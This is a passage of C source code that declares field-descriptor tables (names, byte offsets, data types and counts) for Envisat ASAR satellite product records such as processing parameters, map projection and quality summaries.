{"CALIBRATION_FACTORS.2.PROC_SCALING_FACT", 1385, EDT_Float32, 1},
{"CALIBRATION_FACTORS.2.EXT_CAL_FACT", 1389, EDT_Float32, 1},
{"NOISE_ESTIMATION.NOISE_POWER_CORR", 1393, EDT_Float32, 5},
{"NOISE_ESTIMATION.NUM_NOISE_LINES", 1413, EDT_UInt32, 5},
/*{"SPARE_9", 1433, EDT_UByte, 76},*/
{"OUTPUT_STATISTICS.1.OUT_MEAN", 1509, EDT_Float32, 1},
{"OUTPUT_STATISTICS.1.OUT_IMAG_MEAN", 1513, EDT_Float32, 1},
{"OUTPUT_STATISTICS.1.OUT_STD_DEV", 1517, EDT_Float32, 1},
{"OUTPUT_STATISTICS.1.OUT_IMAG_STD_DEV", 1521, EDT_Float32, 1},
{"OUTPUT_STATISTICS.2.OUT_MEAN", 1525, EDT_Float32, 1},
{"OUTPUT_STATISTICS.2.OUT_IMAG_MEAN", 1529, EDT_Float32, 1},
{"OUTPUT_STATISTICS.2.OUT_STD_DEV", 1533, EDT_Float32, 1},
{"OUTPUT_STATISTICS.2.OUT_IMAG_STD_DEV", 1537, EDT_Float32, 1},
/*{"SPARE_10", 1541, EDT_UByte, 52},*/
{"ECHO_COMP", 1593, EDT_Char, 4},
{"ECHO_COMP_RATIO", 1597, EDT_Char, 3},
{"INIT_CAL_COMP", 1600, EDT_Char, 4},
{"INIT_CAL_RATIO", 1604, EDT_Char, 3},
{"PER_CAL_COMP", 1607, EDT_Char, 4},
{"PER_CAL_RATIO", 1611, EDT_Char, 3},
{"NOISE_COMP", 1614, EDT_Char, 4},
{"NOISE_COMP_RATIO", 1618, EDT_Char, 3},
/*{"SPARE_11", 1621, EDT_UByte, 64},*/
{"BEAM_MERGE_SL_RANGE", 1685, EDT_UInt32, 4},
{"BEAM_MERGE_ALG_PARAM", 1701, EDT_Float32, 4},
{"LINES_PER_BURST", 1717, EDT_UInt32, 5},
/*{"SPARE_12", 1737, EDT_UByte, 28},*/
{"ORBIT_STATE_VECTORS.1.STATE_VECT_TIME_1", 1765, EDT_MJD, 1},
{"ORBIT_STATE_VECTORS.1.X_POS_1", 1777, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.1.Y_POS_1", 1781, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.1.Z_POS_1", 1785, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.1.X_VEL_1", 1789, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.1.Y_VEL_1", 1793, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.1.Z_VEL_1", 1797, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.2.STATE_VECT_TIME_1", 1801, EDT_MJD, 1},
{"ORBIT_STATE_VECTORS.2.X_POS_1", 1813, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.2.Y_POS_1", 1817, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.2.Z_POS_1", 1821, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.2.X_VEL_1", 1825, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.2.Y_VEL_1", 1829, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.2.Z_VEL_1", 1833, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.3.STATE_VECT_TIME_1", 1837, EDT_MJD, 1},
{"ORBIT_STATE_VECTORS.3.X_POS_1", 1849, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.3.Y_POS_1", 1853, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.3.Z_POS_1", 1857, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.3.X_VEL_1", 1861, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.3.Y_VEL_1", 1865, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.3.Z_VEL_1", 1869, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.4.STATE_VECT_TIME_1", 1873, EDT_MJD, 1},
{"ORBIT_STATE_VECTORS.4.X_POS_1", 1885, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.4.Y_POS_1", 1889, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.4.Z_POS_1", 1893, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.4.X_VEL_1", 1897, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.4.Y_VEL_1", 1901, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.4.Z_VEL_1", 1905, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.5.STATE_VECT_TIME_1", 1909, EDT_MJD, 1},
{"ORBIT_STATE_VECTORS.5.X_POS_1", 1921, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.5.Y_POS_1", 1925, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.5.Z_POS_1", 1929, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.5.X_VEL_1", 1933, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.5.Y_VEL_1", 1937, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.5.Z_VEL_1", 1941, EDT_Int32, 1},
/*{"SPARE_13", 1945, EDT_UByte, 64},*/
{NULL, 0, EDT_Unknown, 0}
};
static const EnvisatFieldDescr ASAR_MAP_PROJECTION_GADS[] = {
{"MAP_DESCRIPTOR", 0, EDT_Char, 32},
{"SAMPLES", 32, EDT_UInt32, 1},
{"LINES", 36, EDT_UInt32, 1},
{"SAMPLE_SPACING", 40, EDT_Float32, 1},
{"LINE_SPACING", 44, EDT_Float32, 1},
{"ORIENTATION", 48, EDT_Float32, 1},
/*{"SPARE_1", 52, EDT_UByte, 40},*/
{"HEADING", 92, EDT_Float32, 1},
{"ELLIPSOID_NAME", 96, EDT_Char, 32},
{"SEMI_MAJOR", 128, EDT_Float32, 1},
{"SEMI_MINOR", 132, EDT_Float32, 1},
{"SHIFT_DX", 136, EDT_Float32, 1},
{"SHIFT_DY", 140, EDT_Float32, 1},
{"SHIFT_DZ", 144, EDT_Float32, 1},
{"AVG_HEIGHT", 148, EDT_Float32, 1},
/*{"SPARE_2", 152, EDT_UByte, 12},*/
{"PROJECTION_DESCRIPTION", 164, EDT_Char, 32},
{"UTM_DESCRIPTOR", 196, EDT_Char, 32},
{"UTM_ZONE", 228, EDT_Char, 4},
{"UTM_ORIGIN_EASTING", 232, EDT_Float32, 1},
{"UTM_ORIGIN_NORTHING", 236, EDT_Float32, 1},
{"UTM_CENTER_LONG", 240, EDT_Int32, 1},
{"UTM_CENTER_LAT", 244, EDT_Int32, 1},
{"UTM_PARA1", 248, EDT_Float32, 1},
{"UTM_PARA2", 252, EDT_Float32, 1},
{"UTM_SCALE", 256, EDT_Float32, 1},
{"UPS_DESCRIPTOR", 260, EDT_Char, 32},
{"UPS_CENTER_LONG", 292, EDT_Int32, 1},
{"UPS_CENTER_LAT", 296, EDT_Int32, 1},
{"UPS_SCALE", 300, EDT_Float32, 1},
{"NSP_DESCRIPTOR", 304, EDT_Char, 32},
{"ORIGIN_EASTING", 336, EDT_Float32, 1},
{"ORIGIN_NORTHING", 340, EDT_Float32, 1},
{"CENTER_LONG", 344, EDT_Int32, 1},
{"CENTER_LAT", 348, EDT_Int32, 1},
{"STANDARD_PARALLEL_PARAMETERS.PARA1", 352, EDT_Float32, 1},
{"STANDARD_PARALLEL_PARAMETERS.PARA2", 356, EDT_Float32, 1},
{"STANDARD_PARALLEL_PARAMETERS.PARA3", 360, EDT_Float32, 1},
{"STANDARD_PARALLEL_PARAMETERS.PARA4", 364, EDT_Float32, 1},
{"CENTRAL_MERIDIAN_PARAMETERS.CENTRAL_M1", 368, EDT_Float32, 1},
{"CENTRAL_MERIDIAN_PARAMETERS.CENTRAL_M2", 372, EDT_Float32, 1},
{"CENTRAL_MERIDIAN_PARAMETERS.CENTRAL_M3", 376, EDT_Float32, 1},
/*{"PROJECTION_PARAMETERS.SPARE_3", 380, EDT_UByte, 16},*/
{"POSITION_NORTHINGS_EASTINGS.TL_NORTHING", 396, EDT_Float32, 1},
{"POSITION_NORTHINGS_EASTINGS.TL_EASTING", 400, EDT_Float32, 1},
{"POSITION_NORTHINGS_EASTINGS.TR_NORTHING", 404, EDT_Float32, 1},
{"POSITION_NORTHINGS_EASTINGS.TR_EASTING", 408, EDT_Float32, 1},
{"POSITION_NORTHINGS_EASTINGS.BR_NORTHING", 412, EDT_Float32, 1},
{"POSITION_NORTHINGS_EASTINGS.BR_EASTING", 416, EDT_Float32, 1},
{"POSITION_NORTHINGS_EASTINGS.BL_NORTHING", 420, EDT_Float32, 1},
{"POSITION_NORTHINGS_EASTINGS.BL_EASTING", 424, EDT_Float32, 1},
{"POSITION_LAT_LONG.TL_LAT", 428, EDT_Int32, 1},
{"POSITION_LAT_LONG.TL_LONG", 432, EDT_Int32, 1},
{"POSITION_LAT_LONG.TR_LAT", 436, EDT_Int32, 1},
{"POSITION_LAT_LONG.TR_LONG", 440, EDT_Int32, 1},
{"POSITION_LAT_LONG.BR_LAT", 444, EDT_Int32, 1},
{"POSITION_LAT_LONG.BR_LONG", 448, EDT_Int32, 1},
{"POSITION_LAT_LONG.BL_LAT", 452, EDT_Int32, 1},
{"POSITION_LAT_LONG.BL_LONG", 456, EDT_Int32, 1},
/*{"SPARE_4", 460, EDT_UByte, 32},*/
{"IMAGE_TO_MAP_COEFS", 492, EDT_Float32, 8},
{"MAP_TO_IMAGE_COEFS", 524, EDT_Float32, 8},
/*{"SPARE_5", 556, EDT_UByte, 35},*/
{NULL, 0, EDT_Unknown, 0}
};
static const EnvisatFieldDescr ASAR_SQ_ADSR[] = {
{"ZERO_DOPPLER_TIME", 0, EDT_MJD, 1},
{"ATTACH_FLAG", 12, EDT_UByte, 1},
{"INPUT_MEAN_FLAG", 13, EDT_UByte, 1},
{"INPUT_STD_DEV_FLAG", 14, EDT_UByte, 1},
{"INPUT_GAPS_FLAG", 15, EDT_UByte, 1},
{"INPUT_MISSING_LINES_FLAG", 16, EDT_UByte, 1},
{"DOP_CEN_FLAG", 17, EDT_UByte, 1},
{"DOP_AMB_FLAG", 18, EDT_UByte, 1},
{"OUTPUT_MEAN_FLAG", 19, EDT_UByte, 1},
{"OUTPUT_STD_DEV_FLAG", 20, EDT_UByte, 1},
{"CHIRP_FLAG", 21, EDT_UByte, 1},
{"MISSING_DATA_SETS_FLAG", 22, EDT_UByte, 1},
{"INVALID_DOWNLINK_FLAG", 23, EDT_UByte, 1},
/*{"SPARE_1", 24, EDT_UByte, 7},*/
{"THRESH_CHIRP_BROADENING", 31, EDT_Float32, 1},
{"THRESH_CHIRP_SIDELOBE", 35, EDT_Float32, 1},
{"THRESH_CHIRP_ISLR", 39, EDT_Float32, 1},
{"THRESH_INPUT_MEAN", 43, EDT_Float32, 1},
{"EXP_INPUT_MEAN", 47, EDT_Float32, 1},
{"THRESH_INPUT_STD_DEV", 51, EDT_Float32, 1},
{"EXP_INPUT_STD_DEV", 55, EDT_Float32, 1},
{"THRESH_DOP_CEN", 59, EDT_Float32, 1},
{"THRESH_DOP_AMB", 63, EDT_Float32, 1},
{"THRESH_OUTPUT_MEAN", 67, EDT_Float32, 1},
{"EXP_OUTPUT_MEAN", 71, EDT_Float32, 1},
{"THRESH_OUTPUT_STD_DEV", 75, EDT_Float32, 1},
{"EXP_OUTPUT_STD_DEV", 79, EDT_Float32, 1},
{"THRESH_INPUT_MISSING_LINES", 83, EDT_Float32, 1},
{"THRESH_INPUT_GAPS", 87, EDT_Float32, 1},
{"LINES_PER_GAPS", 91, EDT_UInt32, 1},
/*{"SPARE_2", 95, EDT_UByte, 15},*/
{"INPUT_MEAN", 110, EDT_Float32, 2},
{"INPUT_STD_DEV", 118, EDT_Float32, 2},
{"NUM_GAPS", 126, EDT_Float32, 1},
{"NUM_MISSING_LINES", 130, EDT_Float32, 1},
{"OUTPUT_MEAN", 134, EDT_Float32, 2},
{"OUTPUT_STD_DEV", 142, EDT_Float32, 2},
{"TOT_ERRORS", 150, EDT_UInt32, 1},
/*{"SPARE_3", 154, EDT_UByte, 16},*/
{NULL, 0, EDT_Unknown, 0}
};
static const EnvisatFieldDescr ASAR_SR_GR_ADSR[] = {
{"ZERO_DOPPLER_TIME", 0, EDT_MJD, 1},
{"ATTACH_FLAG", 12, EDT_UByte, 1},
{"SLANT_RANGE_TIME", 13, EDT_Float32, 1},
{"GROUND_RANGE_ORIGIN", 17, EDT_Float32, 1},
{"SRGR_COEFF", 21, EDT_Float32, 5},
/*{"SPARE_1", 41, EDT_UByte, 14},*/
{NULL, 0, EDT_Unknown, 0}
};
#if 0 /* Unused */
static const EnvisatFieldDescr ASAR_GEOLOCATION_ADSR[] = {
{"ZERO_DOPPLER_TIME", 0, EDT_MJD, 1},
{"ATTACH_FLAG", 12, EDT_UByte, 1},
{"CENTER_LAT", 13, EDT_Int32, 1},
{"CENTER_LONG", 17, EDT_Int32, 1},
/*{"SPARE_1", 21, EDT_UByte, 4},*/
{NULL, 0, EDT_Unknown, 0}
};
#endif /* Unused */
static const EnvisatFieldDescr ASAR_PROCESSING_PARAMS_ADSR[] = {
{"FIRST_ZERO_DOPPLER_TIME", 0, EDT_MJD, 1},
{"ATTACH_FLAG", 12, EDT_UByte, 1},
{"LAST_ZERO_DOPPLER_TIME", 13, EDT_MJD, 1},
{"WORK_ORDER_ID", 25, EDT_Char, 12},
{"TIME_DIFF", 37, EDT_Float32, 1},
{"SWATH_ID", 41, EDT_Char, 3},
{"RANGE_SPACING", 44, EDT_Float32, 1},
{"AZIMUTH_SPACING", 48, EDT_Float32, 1},
{"LINE_TIME_INTERVAL", 52, EDT_Float32, 1},
{"NUM_OUTPUT_LINES", 56, EDT_UInt32, 1},
{"NUM_SAMPLES_PER_LINE", 60, EDT_UInt32, 1},
{"DATA_TYPE", 64, EDT_Char, 5},
/*{"SPARE_1", 69, EDT_UByte, 51},*/
{"DATA_ANALYSIS_FLAG", 120, EDT_UByte, 1},
{"ANT_ELEV_CORR_FLAG", 121, EDT_UByte, 1},
{"CHIRP_EXTRACT_FLAG", 122, EDT_UByte, 1},
{"SRGR_FLAG", 123, EDT_UByte, 1},
{"DOP_CEN_FLAG", 124, EDT_UByte, 1},
{"DOP_AMB_FLAG", 125, EDT_UByte, 1},
{"RANGE_SPREAD_COMP_FLAG", 126, EDT_UByte, 1},
{"DETECTED_FLAG", 127, EDT_UByte, 1},
{"LOOK_SUM_FLAG", 128, EDT_UByte, 1},
{"RMS_EQUAL_FLAG", 129, EDT_UByte, 1},
{"ANT_SCAL_FLAG", 130, EDT_UByte, 1},
/*{"SPARE_2", 131, EDT_UByte, 10},*/
{"RAW_DATA_ANALYSIS.1.NUM_GAPS", 141, EDT_UInt32, 1},
{"RAW_DATA_ANALYSIS.1.NUM_MISSING_LINES", 145, EDT_UInt32, 1},
{"RAW_DATA_ANALYSIS.1.RANGE_SAMP_SKIP", 149, EDT_UInt32, 1},
{"RAW_DATA_ANALYSIS.1.RANGE_LINES_SKIP", 153, EDT_UInt32, 1},
{"RAW_DATA_ANALYSIS.1.CALC_I_BIAS", 157, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.CALC_Q_BIAS", 161, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.CALC_I_STD_DEV", 165, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.CALC_Q_STD_DEV", 169, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.CALC_GAIN", 173, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.CALC_QUAD", 177, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.I_BIAS_MAX", 181, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.I_BIAS_MIN", 185, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.Q_BIAS_MAX", 189, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.Q_BIAS_MIN", 193, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.GAIN_MIN", 197, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.GAIN_MAX", 201, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.QUAD_MIN", 205, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.QUAD_MAX", 209, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.I_BIAS_FLAG", 213, EDT_UByte, 1},
{"RAW_DATA_ANALYSIS.1.Q_BIAS_FLAG", 214, EDT_UByte, 1},
{"RAW_DATA_ANALYSIS.1.GAIN_FLAG", 215, EDT_UByte, 1},
{"RAW_DATA_ANALYSIS.1.QUAD_FLAG", 216, EDT_UByte, 1},
{"RAW_DATA_ANALYSIS.1.USED_I_BIAS", 217, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.USED_Q_BIAS", 221, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.USED_GAIN", 225, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.1.USED_QUAD", 229, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.NUM_GAPS", 233, EDT_UInt32, 1},
{"RAW_DATA_ANALYSIS.2.NUM_MISSING_LINES", 237, EDT_UInt32, 1},
{"RAW_DATA_ANALYSIS.2.RANGE_SAMP_SKIP", 241, EDT_UInt32, 1},
{"RAW_DATA_ANALYSIS.2.RANGE_LINES_SKIP", 245, EDT_UInt32, 1},
{"RAW_DATA_ANALYSIS.2.CALC_I_BIAS", 249, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.CALC_Q_BIAS", 253, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.CALC_I_STD_DEV", 257, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.CALC_Q_STD_DEV", 261, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.CALC_GAIN", 265, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.CALC_QUAD", 269, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.I_BIAS_MAX", 273, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.I_BIAS_MIN", 277, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.Q_BIAS_MAX", 281, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.Q_BIAS_MIN", 285, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.GAIN_MIN", 289, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.GAIN_MAX", 293, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.QUAD_MIN", 297, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.QUAD_MAX", 301, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.I_BIAS_FLAG", 305, EDT_UByte, 1},
{"RAW_DATA_ANALYSIS.2.Q_BIAS_FLAG", 306, EDT_UByte, 1},
{"RAW_DATA_ANALYSIS.2.GAIN_FLAG", 307, EDT_UByte, 1},
{"RAW_DATA_ANALYSIS.2.QUAD_FLAG", 308, EDT_UByte, 1},
{"RAW_DATA_ANALYSIS.2.USED_I_BIAS", 309, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.USED_Q_BIAS", 313, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.USED_GAIN", 317, EDT_Float32, 1},
{"RAW_DATA_ANALYSIS.2.USED_QUAD", 321, EDT_Float32, 1},
/*{"SPARE_3", 325, EDT_UByte, 32},*/
{"START_TIME.1.FIRST_OBT", 357, EDT_UInt32, 2},
{"START_TIME.1.FIRST_MJD", 365, EDT_MJD, 1},
{"START_TIME.2.FIRST_OBT", 377, EDT_UInt32, 2},
{"START_TIME.2.FIRST_MJD", 385, EDT_MJD, 1},
{"PARAMETER_CODES.SWST_CODE", 397, EDT_UInt16, 5},
{"PARAMETER_CODES.LAST_SWST_CODE", 407, EDT_UInt16, 5},
{"PARAMETER_CODES.PRI_CODE", 417, EDT_UInt16, 5},
{"PARAMETER_CODES.TX_PULSE_LEN_CODE", 427, EDT_UInt16, 5},
{"PARAMETER_CODES.TX_BW_CODE", 437, EDT_UInt16, 5},
{"PARAMETER_CODES.ECHO_WIN_LEN_CODE", 447, EDT_UInt16, 5},
{"PARAMETER_CODES.UP_CODE", 457, EDT_UInt16, 5},
{"PARAMETER_CODES.DOWN_CODE", 467, EDT_UInt16, 5},
{"PARAMETER_CODES.RESAMP_CODE", 477, EDT_UInt16, 5},
{"PARAMETER_CODES.BEAM_ADJ_CODE", 487, EDT_UInt16, 5},
{"PARAMETER_CODES.BEAM_SET_NUM_CODE", 497, EDT_UInt16, 5},
{"PARAMETER_CODES.TX_MONITOR_CODE", 507, EDT_UInt16, 5},
/*{"SPARE_4", 517, EDT_UByte, 60},*/
{"ERROR_COUNTERS.NUM_ERR_SWST", 577, EDT_UInt32, 1},
{"ERROR_COUNTERS.NUM_ERR_PRI", 581, EDT_UInt32, 1},
{"ERROR_COUNTERS.NUM_ERR_TX_PULSE_LEN", 585, EDT_UInt32, 1},
{"ERROR_COUNTERS.NUM_ERR_TX_PULSE_BW", 589, EDT_UInt32, 1},
{"ERROR_COUNTERS.NUM_ERR_ECHO_WIN_LEN", 593, EDT_UInt32, 1},
{"ERROR_COUNTERS.NUM_ERR_UP", 597, EDT_UInt32, 1},
{"ERROR_COUNTERS.NUM_ERR_DOWN", 601, EDT_UInt32, 1},
{"ERROR_COUNTERS.NUM_ERR_RESAMP", 605, EDT_UInt32, 1},
{"ERROR_COUNTERS.NUM_ERR_BEAM_ADJ", 609, EDT_UInt32, 1},
{"ERROR_COUNTERS.NUM_ERR_BEAM_SET_NUM", 613, EDT_UInt32, 1},
/*{"SPARE_5", 617, EDT_UByte, 26},*/
{"IMAGE_PARAMETERS.SWST_VALUE", 643, EDT_Float32, 5},
{"IMAGE_PARAMETERS.LAST_SWST_VALUE", 663, EDT_Float32, 5},
{"IMAGE_PARAMETERS.SWST_CHANGES", 683, EDT_UInt32, 5},
{"IMAGE_PARAMETERS.PRF_VALUE", 703, EDT_Float32, 5},
{"IMAGE_PARAMETERS.TX_PULSE_LEN_VALUE", 723, EDT_Float32, 5},
{"IMAGE_PARAMETERS.TX_PULSE_BW_VALUE", 743, EDT_Float32, 5},
{"IMAGE_PARAMETERS.ECHO_WIN_LEN_VALUE", 763, EDT_Float32, 5},
{"IMAGE_PARAMETERS.UP_VALUE", 783, EDT_Float32, 5},
{"IMAGE_PARAMETERS.DOWN_VALUE", 803, EDT_Float32, 5},
{"IMAGE_PARAMETERS.RESAMP_VALUE", 823, EDT_Float32, 5},
{"IMAGE_PARAMETERS.BEAM_ADJ_VALUE", 843, EDT_Float32, 5},
{"IMAGE_PARAMETERS.BEAM_SET_VALUE", 863, EDT_UInt16, 5},
{"IMAGE_PARAMETERS.TX_MONITOR_VALUE", 873, EDT_Float32, 5},
/*{"SPARE_6", 893, EDT_UByte, 82},*/
{"FIRST_PROC_RANGE_SAMP", 975, EDT_UInt32, 1},
{"RANGE_REF", 979, EDT_Float32, 1},
{"RANGE_SAMP_RATE", 983, EDT_Float32, 1},
{"RADAR_FREQ", 987, EDT_Float32, 1},
{"NUM_LOOKS_RANGE", 991, EDT_UInt16, 1},
{"FILTER_RANGE", 993, EDT_Char, 7},
{"FILTER_COEF_RANGE", 1000, EDT_Float32, 1},
{"BANDWIDTH.LOOK_BW_RANGE", 1004, EDT_Float32, 5},
{"BANDWIDTH.TOT_BW_RANGE", 1024, EDT_Float32, 5},
{"NOMINAL_CHIRP.1.NOM_CHIRP_AMP", 1044, EDT_Float32, 4},
{"NOMINAL_CHIRP.1.NOM_CHIRP_PHS", 1060, EDT_Float32, 4},
{"NOMINAL_CHIRP.2.NOM_CHIRP_AMP", 1076, EDT_Float32, 4},
{"NOMINAL_CHIRP.2.NOM_CHIRP_PHS", 1092, EDT_Float32, 4},
{"NOMINAL_CHIRP.3.NOM_CHIRP_AMP", 1108, EDT_Float32, 4},
{"NOMINAL_CHIRP.3.NOM_CHIRP_PHS", 1124, EDT_Float32, 4},
{"NOMINAL_CHIRP.4.NOM_CHIRP_AMP", 1140, EDT_Float32, 4},
{"NOMINAL_CHIRP.4.NOM_CHIRP_PHS", 1156, EDT_Float32, 4},
{"NOMINAL_CHIRP.5.NOM_CHIRP_AMP", 1172, EDT_Float32, 4},
{"NOMINAL_CHIRP.5.NOM_CHIRP_PHS", 1188, EDT_Float32, 4},
/*{"SPARE_7", 1204, EDT_UByte, 60},*/
{"NUM_LINES_PROC", 1264, EDT_UInt32, 1},
{"NUM_LOOK_AZ", 1268, EDT_UInt16, 1},
{"LOOK_BW_AZ", 1270, EDT_Float32, 1},
{"TO_BW_AZ", 1274, EDT_Float32, 1},
{"FILTER_AZ", 1278, EDT_Char, 7},
{"FILTER_COEF_AZ", 1285, EDT_Float32, 1},
{"AZ_FM_RATE", 1289, EDT_Float32, 3},
{"AX_FM_ORIGIN", 1301, EDT_Float32, 1},
{"DOP_AMB_CONF", 1305, EDT_Float32, 1},
/*{"SPARE_8", 1309, EDT_UByte, 68},*/
{"CALIBRATION_FACTORS.1.PROC_SCALING_FACT", 1377, EDT_Float32, 1},
{"CALIBRATION_FACTORS.1.EXT_CAL_FACT", 1381, EDT_Float32, 1},
{"CALIBRATION_FACTORS.2.PROC_SCALING_FACT", 1385, EDT_Float32, 1},
{"CALIBRATION_FACTORS.2.EXT_CAL_FACT", 1389, EDT_Float32, 1},
{"NOISE_ESTIMATION.NOISE_POWER_CORR", 1393, EDT_Float32, 5},
{"NOISE_ESTIMATION.NUM_NOISE_LINES", 1413, EDT_UInt32, 5},
/*{"SPARE_9", 1433, EDT_UByte, 76},*/
{"OUTPUT_STATISTICS.1.OUT_MEAN", 1509, EDT_Float32, 1},
{"OUTPUT_STATISTICS.1.OUT_IMAG_MEAN", 1513, EDT_Float32, 1},
{"OUTPUT_STATISTICS.1.OUT_STD_DEV", 1517, EDT_Float32, 1},
{"OUTPUT_STATISTICS.1.OUT_IMAG_STD_DEV", 1521, EDT_Float32, 1},
{"OUTPUT_STATISTICS.2.OUT_MEAN", 1525, EDT_Float32, 1},
{"OUTPUT_STATISTICS.2.OUT_IMAG_MEAN", 1529, EDT_Float32, 1},
{"OUTPUT_STATISTICS.2.OUT_STD_DEV", 1533, EDT_Float32, 1},
{"OUTPUT_STATISTICS.2.OUT_IMAG_STD_DEV", 1537, EDT_Float32, 1},
/*{"SPARE_10", 1541, EDT_UByte, 52},*/
{"ECHO_COMP", 1593, EDT_Char, 4},
{"ECHO_COMP_RATIO", 1597, EDT_Char, 3},
{"INIT_CAL_COMP", 1600, EDT_Char, 4},
{"INIT_CAL_RATIO", 1604, EDT_Char, 3},
{"PER_CAL_COMP", 1607, EDT_Char, 4},
{"PER_CAL_RATIO", 1611, EDT_Char, 3},
{"NOISE_COMP", 1614, EDT_Char, 4},
{"NOISE_COMP_RATIO", 1618, EDT_Char, 3},
/*{"SPARE_11", 1621, EDT_UByte, 64},*/
{"BEAM_OVERLAP", 1685, EDT_UInt32, 4},
{"LINES_PER_BURST", 1701, EDT_UInt32, 5},
/*{"SPARE_12", 1721, EDT_UByte, 44},*/
{"ORBIT_STATE_VECTORS.1.STATE_VECT_TIME_1", 1765, EDT_MJD, 1},
{"ORBIT_STATE_VECTORS.1.X_POS_1", 1777, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.1.Y_POS_1", 1781, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.1.Z_POS_1", 1785, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.1.X_VEL_1", 1789, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.1.Y_VEL_1", 1793, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.1.Z_VEL_1", 1797, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.2.STATE_VECT_TIME_1", 1801, EDT_MJD, 1},
{"ORBIT_STATE_VECTORS.2.X_POS_1", 1813, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.2.Y_POS_1", 1817, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.2.Z_POS_1", 1821, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.2.X_VEL_1", 1825, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.2.Y_VEL_1", 1829, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.2.Z_VEL_1", 1833, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.3.STATE_VECT_TIME_1", 1837, EDT_MJD, 1},
{"ORBIT_STATE_VECTORS.3.X_POS_1", 1849, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.3.Y_POS_1", 1853, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.3.Z_POS_1", 1857, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.3.X_VEL_1", 1861, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.3.Y_VEL_1", 1865, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.3.Z_VEL_1", 1869, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.4.STATE_VECT_TIME_1", 1873, EDT_MJD, 1},
{"ORBIT_STATE_VECTORS.4.X_POS_1", 1885, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.4.Y_POS_1", 1889, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.4.Z_POS_1", 1893, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.4.X_VEL_1", 1897, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.4.Y_VEL_1", 1901, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.4.Z_VEL_1", 1905, EDT_Int32, 1},
{"ORBIT_STATE_VECTORS.5.STATE_VECT_TIME_1", 1909, EDT_MJD, 1},
